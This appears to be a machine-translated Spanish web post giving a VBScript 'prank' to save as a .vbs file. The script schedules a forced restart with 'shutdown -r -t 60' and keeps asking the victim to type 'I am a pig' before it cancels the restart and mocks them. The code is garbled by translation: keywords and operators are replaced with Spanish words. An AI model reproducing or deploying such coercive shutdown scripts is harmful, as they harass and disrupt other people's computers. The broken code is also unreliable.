Software aterrador QQ móvil

El código es el siguiente (cópielo completo)

Si ocurre un error, continúe con el siguiente paso

dim WSHshellA

Establezca WSHshellA = wscript . " wscript . shell ")

wsh shell a . run " cmd . exe/cshutdown-r-t 60-c " "Llámame cerdo o apagaré tu teléfono en un minuto. Si no lo haces No me creas, intenta..." ", 0 , cierto

Dim

do while(a lt; gt"Soy un cerdo")

A = inputbox("Di que soy un cerdo, no Guan, pasa rápido, di ""Soy un cerdo"", "Di que no digas", "No digas", 80007000)

msgbox chr(13) chr(13) chr(13) a, 0 , " MsgBox "

Anillo

msgbox CHR(13) CHR(13) CHR( 13) "Ojalá te lo hubiera dicho antes".

Dim WSHshell

Establece wsh shell = wscript.createobject("wscript.shell")

wsh shell.run "cmd.exe/c apagado -a", 0, true

msgbox CHR(13) CHR(13) CHR(13) "Jajajaja, qué divertido".

Copie las palabras anteriores en su cuaderno. Guárdalo como nombre, como quieras. Recuerda agregar. Ve hacia atrás.